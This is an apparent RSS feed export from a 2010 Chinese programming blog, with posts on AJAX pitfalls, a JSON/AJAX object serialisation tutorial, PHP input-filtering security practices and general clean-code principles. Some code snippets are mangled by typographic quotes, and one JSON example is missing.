<p>request．setHeader(&#8216;Content-type&#8217;,'application/x-www-form-urlencoded&#8217;).确保传递数据编码格式的正确.</p>
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		<title>ajax的缺点</title>
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		<pubDate>Sun, 25 Jul 2010 16:41:11 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/ajaxxuan.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>下面是我对一部分缺陷的看法： 为Ajax而Ajax(Using Ajax for the sake of Ajax.) 很同意这点，当一个技术本身的生存意义由于它自身的亮点而被抹杀，不知道是这个技术的幸运还是不幸。 干掉了back按钮(Breaking the back button) back按钮是一个标准的web站点UI的重要功能。然后，后退按钮没法和js很好的合作…… gmail似乎作的很好？不过没去仔细看过gmail如何实现后退和js相容的，被这个mistake一提醒，也许这也是ue的一个切口哦。 点击的时候没有提供一个可视化的提示(Not giving immediate visual cues for clicking widgets) ……也许是我没看懂，觉得写这段的人自相矛盾。。他说没提供可视化提示，不过是拿gmail右上角的红色提示作为例子。 阻挡了离线用户于门外(Leaving offline people behind) 看标题就清楚了，不过我持保留意见，web application和离线浏览本身似乎就存在着矛盾，要整合，可能要动很多脑子 别让我等(Don’t make me wait) 不过，ajax本身就存在着如果客户端的带宽不够，它的展示就会一塌糊涂的问题，这是它的先天缺陷，也是它崛起的先天因素－－由于网速和带宽的不断增大，使得服务端与客户端的频繁通信成为可能。 显式的传递敏感信息(Sending sensitive information in the clear) 使用js传递数据，本身似乎就存在着这个风险，在我找到反对意见之前，我倾向认同这点－－https协议除外。 假设ajax发展是一个单平台的发展。(Assuming AJAX development is single platform development) 作者文中的观点是ajax由于必须兼容多个浏览器，而没法做到只需要编码到标准的js就行，还要考虑到各个浏览器的问题……这个是js的问题，和ajax关系不大吧？ 忘掉了可能多人在同时使用同一个应用(Forgetting that multiple people might [...]]]></description>
			<content:encoded><![CDATA[<p>下面是我对一部分缺陷的看法：</p>
<p>为Ajax而Ajax(Using Ajax for the sake of Ajax.)</p>
<p>很同意这点，当一个技术本身的生存意义由于它自身的亮点而被抹杀，不知道是这个技术的幸运还是不幸。</p>
<p>干掉了back按钮(Breaking the back button)</p>
<p>back按钮是一个标准的web站点UI的重要功能。然后，后退按钮没法和js很好的合作……<br />
gmail似乎作的很好？不过没去仔细看过gmail如何实现后退和js相容的，被这个mistake一提醒，也许这也是ue的一个切口哦。</p>
<p>点击的时候没有提供一个可视化的提示(Not giving immediate visual cues for clicking widgets)</p>
<p>……也许是我没看懂，觉得写这段的人自相矛盾。。他说没提供可视化提示，不过是拿gmail右上角的红色提示作为例子。<span id="more-466"></span></p>
<p>阻挡了离线用户于门外(Leaving offline people behind)</p>
<p>看标题就清楚了，不过我持保留意见，web application和离线浏览本身似乎就存在着矛盾，要整合，可能要动很多脑子</p>
<p>别让我等(Don’t make me wait)</p>
<p>不过，ajax本身就存在着如果客户端的带宽不够，它的展示就会一塌糊涂的问题，这是它的先天缺陷，也是它崛起的先天因素－－由于网速和带宽的不断增大，使得服务端与客户端的频繁通信成为可能。</p>
<p>显式的传递敏感信息(Sending sensitive information in the clear)</p>
<p>使用js传递数据，本身似乎就存在着这个风险，在我找到反对意见之前，我倾向认同这点－－https协议除外。</p>
<p>假设ajax发展是一个单平台的发展。(Assuming AJAX development is single platform development)</p>
<p>作者文中的观点是ajax由于必须兼容多个浏览器，而没法做到只需要编码到标准的js就行，还要考虑到各个浏览器的问题……这个是js的问题，和ajax关系不大吧？</p>
<p>忘掉了可能多人在同时使用同一个应用(Forgetting that multiple people might be using the same application at the same time)</p>
<p>嗯，这其实是一个同步的问题，在b/s系统中这是一个麻烦的问题……当然，也许并不麻烦，做一个标记位就解决了吧？</p>
<p>太多代码让浏览器慢下来(Too much code makes the browser slow)</p>
<p>呃……同意这点，虽然在代码优化之后会有很大改善，但js本身运行速度慢这个缺陷还是会成为一个瓶颈。</p>
<p>不计划要那些禁用或者没有js的用户(Not having a plan for those who do not enable or have JavaScript)</p>
<p>呃……我在页面上用ajax的时候就准备放弃这些用户了，我没google那么闲，作两套系统，一套用ajax，一套纯页面。不过养成一个良好的编码习惯还是有必要，比如在超链接中不要直接设置href=”javascript:&#8230;”而使用onmouseup或者onclick来触发事件，偶尔也为别人考虑考虑嘛，而且我也不能保证我的js程序在所有的浏览器上通吃。</p>
<p>不期然的页面闪烁和改变(Blinking and changing parts of the page unexpectedly)</p>
<p>我没经历过以前网页中blink标签的骚扰，所以我对作者的反感有点摸不着头脑，我觉得在适当的提示之后刷新某块页面总比整个页面的刷新看起来舒服。</p>
<p>没法把超链接发给朋友以及收藏(Not using links I can pass to friends or bookmark)</p>
<p>嘿嘿，这就是我上面提及的那点，如果编码习惯够好－－而且时间够多，在超链接中为非js用户和js用户提供两套方案是可行的。</p>
<p>同步导致的批量操作(Asynchronously performing batch operations)</p>
<p>作者的意思是说ajax一次性把原来要分几次作的操作一次做掉，而导致他没法跟踪每个元素变化，没法回溯，呃……也许是有这种需求吧。。不过似乎也是可以解决的吧？</p>
<p>导致页面滚动并让我迷失位置（Scrolling the page and making me lose my place）</p>
<p>作者认为插入文本到一个页面中会导致页面发生滚动，并让其迷失方向，我没看过这么恶心的效果，没法评价，不过我对于一些ajax的导航作的不好表示不满意，我经常会迷失于一些ajax程序中而不知道我刚才上一步到了哪里……</p>
<p>发明了新的UI习惯（Inventing new UI conventions）</p>
<p>呵呵，作者用了一句话来描述这个缺点：“点击一个不明显的东东来产生一个不明显的结果”。这个归纳倒是满准确的，在很多ajax程序中，用户完全是作为一个瞎子，在抖抖索索的摸着这个ajax程序大象，在到处瞎点一气并瞎拖一气之后才掌握这个程序的用法。但是换个角度来说，最开始的web页面不也是一样？没有开始的困难接触，不会有之后的进步，只要有足够的帮助，上手任何东西都应该不会太难－－除非这东西本来就不想让人觉得好用，那就是其它的问题了。</p>
<p>阻止了爬虫（Blocking Spidering）</p>
<p>同意这点，我在犹豫着使用ajax的时候，就在考虑爬虫对js的不感冒，以及爬虫该如何理解我那些以奇怪方式加载的页面，去解析ajax库似乎是一个不可能的事情，爬虫又不是人脑，如果爬虫可以媲美人脑，那就是《骇客帝国4》了。</p>
<p>字符集（Character Sets）</p>
<p>ajax本身对字符集的支持比较缺失，这个这个……设置成utf-8吧，不过作者最后也是这么说的。</p>
<p>使用超链接改变状态（Changing state with links (GET requests)）</p>
<p>作者认为主流的ajax应用程序都是用get方式来工作，而这违反了W3对GET和POST方法的使用建议……我少见多怪，主流的ajax应用程序我没怎么去看，不知道是不是真的都用get，虽然ajax编码用get简单，但不表示ajax不能用post吧？</p>
<p>没有连带改变页面中其它相关部分（Not cascading local changes to other parts of the page）</p>
<p>因为ajax让人很容易控制页面中的特定部分，所以也容易导致过于关注某个点而失去对整体布局的关注。嗯嗯……这是编码的问题，表怪到ajax头上。</p>
<p>问题报告（Problem reporting）</p>
<p>作者认为服务端的程序错误，很容易再现并捕捉，而客户端的错误要重现就比较麻烦，嗯，支持这点，不过还是和ajax关系不大……</p>
<p>投资回报(Return on Investment)</p>
<p>作者认为ajax能够提升应用程序的可用性，但是富客户端程序并不会比纯html版本好多少……忽略这个观点，来人，把作者拖出去，账责五十</p>
<p>拙劣地模仿浏览器页面跳转行为（Mimicing browser page navigation behavior imperfectly）</p>
<p>……忽略，没看到作者所描述的情况。</p>
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		<title>基于JSON的高级AJAX开发技术</title>
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		<pubDate>Sun, 25 Jul 2010 16:39:46 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<category><![CDATA[面向对象]]></category>

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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>一、 引言 　　毫无疑问，AJAX已经成为当今Web开发中一种强有力的用户交互技术，但是它的许多可能性应用仍然鲜为人知。在本文中，我们将来共同探讨如何使用JavaScript对象标志(JSON)和JSON分析器在服务器和客户端AJAX引擎之间创建复杂而强有力的JSON数据传输层。我们将详细讨论如何创建一组对象(在其它语言中经常被当作一个包)，如何把这些对象串行化为JSON以发送到服务器端，以及如何把服务器端JSON反串行化为客户端JavaScript对象。 　　提示：你可以在Douglas Crockford的网站上找到本文中使用的JSON分析器。 　　在继续阅读前，本文假定你已经掌握了JavaScript技术并且了解如何创建一个基本的AJAX引擎，并经由AJAX技术向服务器端发出请求和从服务器端接收响应。为了更好地理解本文中示例，你需要下载本文相应的源码文件。 　　二、 开始 　　为了进一步抽象我们的AJAX请求并有助于我们以后在不同的应用程序间共享AJAX引擎代码，本文使用了一个我自己创建的AJAX引擎。为了使用这个引擎，我们简单地导入三个JavaScript文件并且向一个名为AjaxUpdater的对象发出请求。然后，由该引擎来负责处理其它任务，包括把响应代理到在该请求中指定的回调方法中。下面的示例展示了我们如何使用这个引擎发出请求以及导入相关的文件： ＜script type=”text/javascript”src=”javascript/model/Ajax.js”＞＜/script＞ ＜script type=”text/javascript” src=”javascript/model/HTTP.js”＞＜/script＞ ＜script type=”text/javascript” src=”javascript/model/AjaxUpdater.js”＞＜/script＞ ＜script type=”text/javascript”＞ document.load = AjaxUpdater.Update(’GET’， URL， callback); ＜/script＞ 　　首先，让我们来讨论JavaScript对象。 三、 JavaScript对象 　　JavaScript以前经常被误解，似乎它主要用于实现客户浏览器端图形效果。其实，JavaScript是一种强有力的语言，特别当它与AJAX以及一个应用程序的服务器端相结合时;但是，即使在客户端，JavaScript也能够实现远比你预料得多的多的功能。面向对象的JavaScript就是一个示例，它能够使我们创建对象，扩展内在对象，甚至能够把我们的对象创建成包以达到更容易的管理之目的。 　　在本文示例中，我们将创建三个对象：Auto，Car和Wheel。其中，每一个都是简单的对象;在此，我们仅使用它们来展示如何创建一个基本包。 　　首先，Auto对象被声明为一个新的对象： 　　var Auto = new Object(); 　　注意，这个Auto对象将用作Car对象的父类。因此，Car对象将成为Auto对象的一个属性，只不过它被分离到另一个文件中以更易于管理(这个概念经常被用于其它面向对象的语言中，但是在JavaScript中却并不经常提起它)。下面是这个Car对象相应的代码： 　　Auto.Car = new Object(); 　　Auto.Car.color = “#fff”; 　　Auto.Car.setColor = function(_color) 　　{ 　　Auto.Car.color = _color; 　　} 　　Auto.Car.setColor(“#333&#8243;); 　　如你所见，该Car对象是Auto对象的一个子对象—这分明是一种类对象层次结构。这个对象有一个名为color的属性和一个用于设置它的方法。在此，我们把color属性设置为灰色以覆盖掉缺省的白色。当在后面我们串行化该对象时请牢记住这个事实。 　　下一个对象，Wheel，是Car的一个子对象： [...]]]></description>
			<content:encoded><![CDATA[<p>一、 引言</p>
<p>　　毫无疑问，AJAX已经成为当今Web开发中一种强有力的用户交互技术，但是它的许多可能性应用仍然鲜为人知。在本文中，我们将来共同探讨如何使用JavaScript对象标志(JSON)和JSON分析器在服务器和客户端AJAX引擎之间创建复杂而强有力的JSON数据传输层。我们将详细讨论如何创建一组对象(在其它语言中经常被当作一个包)，如何把这些对象串行化为JSON以发送到服务器端，以及如何把服务器端JSON反串行化为客户端JavaScript对象。</p>
<p>　　提示：你可以在Douglas Crockford的网站上找到本文中使用的JSON分析器。</p>
<p>　　在继续阅读前，本文假定你已经掌握了JavaScript技术并且了解如何创建一个基本的AJAX引擎，并经由AJAX技术向服务器端发出请求和从服务器端接收响应。为了更好地理解本文中示例，你需要下载本文相应的源码文件。<span id="more-464"></span></p>
<p>　　二、 开始</p>
<p>　　为了进一步抽象我们的AJAX请求并有助于我们以后在不同的应用程序间共享AJAX引擎代码，本文使用了一个我自己创建的AJAX引擎。为了使用这个引擎，我们简单地导入三个JavaScript文件并且向一个名为AjaxUpdater的对象发出请求。然后，由该引擎来负责处理其它任务，包括把响应代理到在该请求中指定的回调方法中。下面的示例展示了我们如何使用这个引擎发出请求以及导入相关的文件：</p>
<p>＜script type=”text/javascript”src=”javascript/model/<a href="http://www.5bay.cn/tag/ajax" class="st_tag internal_tag" rel="tag" title="标签 ajax 下的日志">Ajax</a>.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/HTTP.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/AjaxUpdater.js”＞＜/script＞<br />
＜script type=”text/javascript”＞<br />
document.load = AjaxUpdater.Update(’GET’， URL， callback);<br />
＜/script＞ </p>
<p>　　首先，让我们来讨论JavaScript对象。</p>
<p>三、 JavaScript对象 </p>
<p>　　JavaScript以前经常被误解，似乎它主要用于实现客户浏览器端图形效果。其实，JavaScript是一种强有力的语言，特别当它与AJAX以及一个应用程序的服务器端相结合时;但是，即使在客户端，JavaScript也能够实现远比你预料得多的多的功能。面向对象的JavaScript就是一个示例，它能够使我们创建对象，扩展内在对象，甚至能够把我们的对象创建成包以达到更容易的管理之目的。</p>
<p>　　在本文示例中，我们将创建三个对象：Auto，Car和Wheel。其中，每一个都是简单的对象;在此，我们仅使用它们来展示如何创建一个基本包。</p>
<p>　　首先，Auto对象被声明为一个新的对象：</p>
<p>　　var Auto = new Object(); </p>
<p>　　注意，这个Auto对象将用作Car对象的父类。因此，Car对象将成为Auto对象的一个属性，只不过它被分离到另一个文件中以更易于管理(这个概念经常被用于其它面向对象的语言中，但是在JavaScript中却并不经常提起它)。下面是这个Car对象相应的代码：</p>
<p>　　Auto.Car = new Object();<br />
　　Auto.Car.color = “#fff”;<br />
　　Auto.Car.setColor = function(_color)<br />
　　{<br />
　　Auto.Car.color = _color;<br />
　　}<br />
　　Auto.Car.setColor(“#333&#8243;); </p>
<p>　　如你所见，该Car对象是Auto对象的一个子对象—这分明是一种类对象层次结构。这个对象有一个名为color的属性和一个用于设置它的方法。在此，我们把color属性设置为灰色以覆盖掉缺省的白色。当在后面我们串行化该对象时请牢记住这个事实。</p>
<p>　　下一个对象，Wheel，是Car的一个子对象：</p>
<p>Auto.Car.Wheel = new Object();<br />
Auto.Car.Wheel.color = “#000&#8243;; </p>
<p>　　在此，Wheel是一个基本对象，但是它展示了对象层次中的又一个层。这个对象有一个称为color的缺省值为黑色(“#000”)的属性。</p>
<p>　　下面，让我们来分析一下为什么这些对象如此重要以及我们是如何使用它们提供的简单的属性的。</p>
<p>四、 把JavaScript对象串行化为JSON </p>
<p>　　借助于JSON分析器，我们可以很容易地把刚才创建的JavaScript对象串行化为JSON。首先，我们需要下载该分析器的一个副本，并且要把它添加到文档中。下面是我在本文示例中用于导入该脚本的相应的代码：</p>
<p>＜script type=”text/javascript” src=”javascript/utils/jsonparser.js”＞＜/script＞ </p>
<p>　　我已经把该分析器添加到我的javascript目录，即一个称为utils的子目录下。</p>
<p>　　下面是最终的包括到其中用于导入适当的JavaScript文件的代码片断：</p>
<p>以下是引用片段：<br />
＜script type=”text/javascript” src=”javascript/Auto.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/Car.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/Wheel.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/utils/jsonparser.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/Ajax.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/HTTP.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/AjaxUpdater.js”＞＜/script＞ </p>
<p>　　在导入适当的文件后，我们可以通过把两个div元素和一个onload事件简单地添加到HTML文档中开始串行化。这两个div元素将分别拥有ID：body和loading。其中，这个loading标签将由AJAX引擎使用来指示进度情况，而body标签将用于显示消息。</p>
<p>＜<a href="http://www.5bay.cn/tag/div" class="st_tag internal_tag" rel="tag" title="标签 div 下的日志">div</a> id=”loading”＞＜/<a href="http://www.5bay.cn/tag/div" class="st_tag internal_tag" rel="tag" title="标签 div 下的日志">div</a>＞<br />
＜div id=”body”＞＜/div＞ </p>
<p>　　onload事件相应于body元素并且设置它的innerHTML属性为JavaScript对象(作为一个串行化的JSON字符串)。为了实现这一目的，我在Auto对象上使用了jsonparser.js文件内的toJSONString方法：</p>
<p>＜body onload=”document.getElementById(’body’).innerHTML = ’＜b＞Local objects serialized as JSON＜/b＞<br />
Auto Object: ’+ Auto.toJSONString();”＞ </p>
<p>　　这段代码使用了Auto对象及其所有的子对象，并且使用JSON分析器的toJSONString方法把它们串行化为一个JSON字符串。然后，该数据可以被用作服务器端的一种数据交换格式。</p>
<p>　　你可能还记得，在前面我们曾调用了一个称为setColor的方法来改变Car对象的颜色。当时，我使用它是因为我想向你展示串行化能够在运行时刻的任何点上实现，而且还为了反映出对象中最新的数据。</p>
<p>　　如果你仔细分析一下onload事件，你会注意到，Car和Wheel对象都包装在方括号内，这些方括号代表了父对象(即Auto)。这意味着，该串行化的JavaScript对象能够在运行时刻被发送到服务器端以存储最新的数据，并且也可以在应用程序启动时从服务器端进行接收以便从数据库中检索多数的当前数据。最精彩的部分在于，为了创建一种“无缝”的过程，所有与服务器之间实现的数据交换都可以使用JSON技术来实现。</p>
<p>　　下面，让我们来看一下相同的数据是如何从服务器端接收的，以及它们是如何被使用最新的数据(典型地，来源于一个数据库)串行化为客户端JavaScript对象的。</p>
<p>五、 把JSON反串行化为客户端JavaScript对象 </p>
<p>　　在本文中，我简单地把一个静态文件创建为JSON响应，但是在实际开发中，你可以把这些数据存储在一个数据库中并且使用一种服务器端语言返回它。基于这一能力，我们就可以轻松地创建一种强有力的数据交换过程!在前面，我们已经分析了这一串行化过程。凭基本的AJAX体验，你应该能够理解数据是如何被寄送到服务器端的。现在，让我们着手讨论反串行化的问题。首先来看一个针对本文示例提供的静态JSON文件。这个文件其实是我们在上一节中串行化的数据：</p>
<p>}} </p>
<p>　　作为一个请求JSON文件的示例，当我们点击下列链接时将请求这个串行化的Auto对象：</p>
<p>＜a href=”javascript:AjaxUpdater.Update(’GET’， ’json/data.js’， displayResponse);”＞Get remote JSON＜/a＞ </p>
<p>　　一旦接收到响应消息，我们的称为displayResponse回调方法就会被激活，然后，我们就能够反串行化并开始使用这些对象：</p>
<p>＜script type=”text/javascript”＞<br />
function displayResponse()<br />
{<br />
　if(Ajax.checkReadyState(’loading’) == “OK”)<br />
　{<br />
　　var Auto = Ajax.request.responseText.parseJSON();<br />
　　document.getElementById(“body”).innerHTML += ”<br />
＜b＞Remote JSON unserialized＜/b＞”;<br />
　　document.getElementById(“body”).innerHTML += ”<br />
Car color: “+Auto.Car.color;<br />
　　document.getElementById(“body”).innerHTML += ”<br />
Wheel color: “+Auto.Car.Wheel.color;<br />
　}<br />
}<br />
＜/script＞ </p>
<p>　　这是相当激动人心的一部分!一旦我们拥有了该responseText，我们就能够简单地使用JSON分析器中的parseJSON方法来从串行化的数据中重建我们的Auto对象。借助于这个新的Auto对象，我们就可以调用相应的子对象。这个特征允许我们在服务器和客户端来回发送对象—而不必进行大量的分析工作，然而在以前标准的XML响应情况下我们将却必须这样做。这样以来，我们就可以创建出能够基于AJAX技术来保留自身状态的客户端JavaScript对象</p>
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		<title>PHP安全之数据过滤</title>
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		<pubDate>Sun, 25 Jul 2010 16:38:25 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpeezhanchang.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>在指南的开始，我们说过数据过滤在任何语言、任何平台上都是WEB应用安全的基石。这包含检验输入到应用的数据以及从应用输出的数据，而一个好的软件设计可以帮助开发人员做到： 确保数据过滤无法被绕过，确保不合法的信息不会影响合法的信息，并且识别数据的来源。 关于如何确保数据过滤无法被绕过有各种各样的观点，而其中的两种观点比其他更加通用并可提供更高级别的保障。 调度方法 这种方法是用一个单一的 PHP 脚本调度（通过 URL）。其他任何操作在必要的时候使用include或require包含进来。这种方法一般需要每个 URL 都传递一个单独的GET变量用于调度。这个GET变量可以被认为是用来替代脚本名称的更加简化的设计。例如： http://example.org/dispatch.php?task=print_formdispatch.php是唯一的根文件(Document root)。它可以让开发者做两件非常重要的事情： 在dispatch.php最开始实现一些全局的安全处理，并且确保这些处理不可以被绕过。 容易确定在必要的地方进行数据过滤，特别是一些特殊目的的控制流操作中。 看下面的例子以便进一步讨论dispatch.php脚本: 如果这是唯一的可公开访问到的 PHP 脚本，则可以确信的一点是这个程序的设计可以确保在最开始的全局安全处理无法被绕过。同时也让开发者容易看到特定任务的控制流程。例如，不需要浏览整个代码就可以容易的知道：当$form_valid为true时，end.inc是唯一显示给用户的；由于它在process.inc被包含之前，并刚刚初始化为false，可以确定的是process.inc的内部逻辑会将设置它为true；否则表单将再次显示（可能会显示相关的错误信息）。 注意 如果你使用目录定向文件，如index.php（代替dispatch.php），你可以像这样使用 URL 地址：http://example.org/?task=print_form。 你还可以使用 ApacheForceType重定向或者mod_rewrite来调整 URL 地址：http://example.org/app/print-form。 包含方法 另外一种方式是使用单独一个模块，这个模块负责所有的安全处理。这个模块被包含在所有公开的 PHP 脚本的最前端（或者非常靠前的部分）。参考下面的脚本security.inc 在本例中，每个提交过来的表单都认为应当含有form这个唯一验证值，并且security.inc独立处理表单中0需要过滤的数据。实现这个要求的 HTML 表单如下所示： Username: Password: 叫做$allowed的数组用来检验哪个表单变量是允许的， 这个列表在表单被处理前应当是一致的。流程控制决定要执行什么，而process.inc是真正过滤后的数据到达的地方。 注意 确保security.inc总是被包含在每个脚本的最开始的位置比较好的方法是使用auto_prepend_file设置。 过滤的例子 建立白名单对于数据过滤是非常重要的。由于不可能对每一种可能遇到的表单数据都给出例子，部分例子可以帮助你对此有一个大体的了解。 下面的代码对邮件地址进行了验证：]]></description>
			<content:encoded><![CDATA[<p>在指南的开始，我们说过数据过滤在任何语言、任何平台上都是WEB应用安全的基石。这包含检验输入到应用的数据以及从应用输出的数据，而一个好的软件设计可以帮助开发人员做到：</p>
<p>确保数据过滤无法被绕过，确保不合法的信息不会影响合法的信息，并且识别数据的来源。</p>
<p>关于如何确保数据过滤无法被绕过有各种各样的观点，而其中的两种观点比其他更加通用并可提供更高级别的保障。<br />
<span id="more-462"></span><br />
调度方法</p>
<p>这种方法是用一个单一的 <a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">PHP</a> 脚本调度（通过 <a href="http://www.5bay.cn/tag/url" class="st_tag internal_tag" rel="tag" title="标签 url 下的日志">URL</a>）。其他任何操作在必要的时候使用include或require包含进来。这种方法一般需要每个 <a href="http://www.5bay.cn/tag/url" class="st_tag internal_tag" rel="tag" title="标签 url 下的日志">URL</a> 都传递一个单独的GET变量用于调度。这个GET变量可以被认为是用来替代脚本名称的更加简化的设计。例如：</p>
<p>http://example.org/dispatch.php?task=print_formdispatch.php是唯一的根文件(Document root)。它可以让开发者做两件非常重要的事情：</p>
<p>在dispatch.php最开始实现一些全局的安全处理，并且确保这些处理不可以被绕过。</p>
<p>容易确定在必要的地方进行数据过滤，特别是一些特殊目的的控制流操作中。</p>
<p>看下面的例子以便进一步讨论dispatch.php脚本:</p>
<p><?php/* 全局安全处理 */switch ($_GET['task']){case 'print_form':include '/inc/presentation/form.inc';break;case 'process_form':$form_valid = false;include '/inc/logic/process.inc';if ($form_valid){include '/inc/presentation/end.inc';}else{include '/inc/presentation/form.inc';}break;default:include '/inc/presentation/index.inc';break;}?></p>
<p>如果这是唯一的可公开访问到的 PHP 脚本，则可以确信的一点是这个程序的设计可以确保在最开始的全局安全处理无法被绕过。同时也让开发者容易看到特定任务的控制流程。例如，不需要浏览整个代码就可以容易的知道：当$form_valid为true时，end.inc是唯一显示给用户的；由于它在process.inc被包含之前，并刚刚初始化为false，可以确定的是process.inc的内部逻辑会将设置它为true；否则表单将再次显示（可能会显示相关的错误信息）。</p>
<p>注意</p>
<p>如果你使用目录定向文件，如index.php（代替dispatch.php），你可以像这样使用 URL 地址：http://example.org/?task=print_form。</p>
<p>你还可以使用 ApacheForceType重定向或者mod_rewrite来调整 URL 地址：http://example.org/app/print-form。</p>
<p>包含方法</p>
<p>另外一种方式是使用单独一个模块，这个模块负责所有的安全处理。这个模块被包含在所有公开的 PHP 脚本的最前端（或者非常靠前的部分）。参考下面的脚本security.inc</p>
<p><?phpswitch ($_POST['form']){case 'login':$allowed = array();$allowed[] = 'form';$allowed[] = 'username';$allowed[] = 'password';$sent = array_keys($_POST);if ($allowed == $sent){include '/inc/logic/process.inc';}break;}?>在本例中，每个提交过来的表单都认为应当含有form这个唯一验证值，并且security.inc独立处理表单中0需要过滤的数据。实现这个要求的 <a href="http://www.5bay.cn/tag/html" class="st_tag internal_tag" rel="tag" title="标签 html 下的日志">HTML</a> 表单如下所示：</p>
<form action="/receive.php" method="POST">
<input type="hidden" name="form" value="login" />
<p>Username:<br />
<input type="text" name="username" /></p>
<p>Password:<br />
<input type="password" name="password" /></p>
<input type="submit" /></form>
<p>叫做$allowed的数组用来检验哪个表单变量是允许的， 这个列表在表单被处理前应当是一致的。流程控制决定要执行什么，而process.inc是真正过滤后的数据到达的地方。</p>
<p>注意</p>
<p>确保security.inc总是被包含在每个脚本的最开始的位置比较好的方法是使用auto_prepend_file设置。</p>
<p>过滤的例子</p>
<p>建立白名单对于数据过滤是非常重要的。由于不可能对每一种可能遇到的表单数据都给出例子，部分例子可以帮助你对此有一个大体的了解。</p>
<p>下面的代码对邮件地址进行了验证：</p>
<p><?php$clean = array();$email_pattern = '/^[^@\s<&#038;>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i&#8217;;if (preg_match($email_pattern, $_POST['email'])){$clean['email'] = $_POST['email'];}?>下面的代码确保了$_POST['color']的内容是red，green，或者blue：</p>
<p><?php$clean = array();switch ($_POST['color']){case 'red':case 'green':case 'blue':$clean['color'] = $_POST['color'];break;}?>下面的代码确保$_POST['num']是一个整数（integer）：</p>
<p><?php$clean = array();if ($_POST['num'] == strval(intval($_POST['num']))){$clean['num'] = $_POST['num'];}?>下面的代码确保$_POST['num']是一个浮点数（float）：</p>
<p><?php$clean = array();if ($_POST['num'] == strval(floatval($_POST['num']))){$clean['num'] = $_POST['num'];}?>名字转换<br />
之前每个例子都使用了数组$clean。对于开发人员判断数据是否有潜在的威胁这是一个很好的习惯。 永远不要在对数据验证后还将其保存在$_POST或者$_GET中，作为开发人员对超级全局数组中保存的数据总是应当保持充分的怀疑。</p>
<p>需要补充的是，使用$clean可以帮助思考还有什么没有被过滤，这更类似一个白名单的作用。可以提升安全的等级。</p>
<p>如果仅仅将验证过的数据保存在$clean，在数据验证上仅存的风险是你所引用的数组元素不存在，而不是未过滤的危险数据。</p>
<p>时机</p>
<p>一旦 PHP 脚本开始执行，则意味着 HTTP 请求已经全部结束。此时，用户便没有机会向脚本发送数据。因此，没有数据可以被输入到脚本中（甚至register_globals被开启的情况下）。这就是为什么初始化变量是非常好的习惯。</p>
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		<pubDate>Sun, 25 Jul 2010 16:19:19 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/eeyao.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>1.- DRY: Don’t repeat yourself. DRY 是一个最简单的法则，也是最容易被理解的。但它也可能是最难被应用的（因为要做到这样，我们需要在泛型设计上做相当的努力，这并不是一件容易的事）。它意味着，当我们在两个或多个地方的时候发现一些相似的代码的时候，我们需要把他们的共性抽象出来形一个唯一的新方法，并且改变现有的地方的代码让他们以一些合适的参数调用这个新的方法。 DRY 这一法则可能是编程届中最通用的法则了，目前为止，应该没有哪个程序员对这一法则存有异议。但是，我们却能发现，一些程序在编写单元测试（unit testing）时忘记了这一法则：让我们相像一下，当你改变一个类的若干接口，如果你没有使用DRY，那么，那些通过调用一系例类的接口的unit test的程序，都需要被手动的更改。比如：如果你的unit test的诸多test cases中没有使用一个标准共有的构造类的方法，而是每个test case自己去构造类的实例，那么，当类的构造函数被改变时，你需要修改多少个test cases啊。这就是不使用DRY法则所带来的恶果。 2.- 短小的方法. 至少，我们有下面三个不错的理由要求程序员们写下短小的方法。 代码会变得更容易阅读。 代码会变得更容易重用（短方法可以减少代码间的耦合程度） 代码会变得更容易测试。 3.- 良好的命名规范 使用不错的统一的命名规范可以让你的程序变得更容易阅读和维护，当一个类，一个函数，一个变量的名字达到了那种可以“望文生义”的境界话，我们就可以少一些文档，少一些沟通。文章《编程中的命名设计那点事 》可以给你一些提示。 4.- 赋予每个类正确的职责 一个类，一个职责，这类规则可以参考一下类的SOLID 法则。但我们这里强调的不是一种单一的职责，而是一个正确的职责。如果你有一个类叫Customer，我们就不应该让这个类有sales 的方法，我们只能让这个类有和Customer有最直接关系的方法。 5.- 把代码组织起来 把代码组织起来有两具层次。 物理层组织：无论你使用什么样的目录，包(package)或名字空间(namespace)等的结构，你需要把你的类用一种标准的方法组织起来，这样可以方便查找。这是一种物理性质的代码组织。 逻辑层组织： 所谓逻辑层，主要是说，我们如果把两个不同功能的类或方法通过某种规范联系和组织起来。这里主要关注的是程序模块间的接口。这就是我们经常见到的程序模块的架构。 6.- 创建大量的单元测试 单元测试是最接近BUG的地方，也是修改BUG成本最低的地方，同样也是决定整个软件质量好坏的成败的地方。所以，只要有可能，你就应该写更多的，更好的单元测试案例，这样当你未来有相应代码改变的时候，你可以很简单知道你代码的改变是否影响了其它单元。 7.- 经常重构你的代码 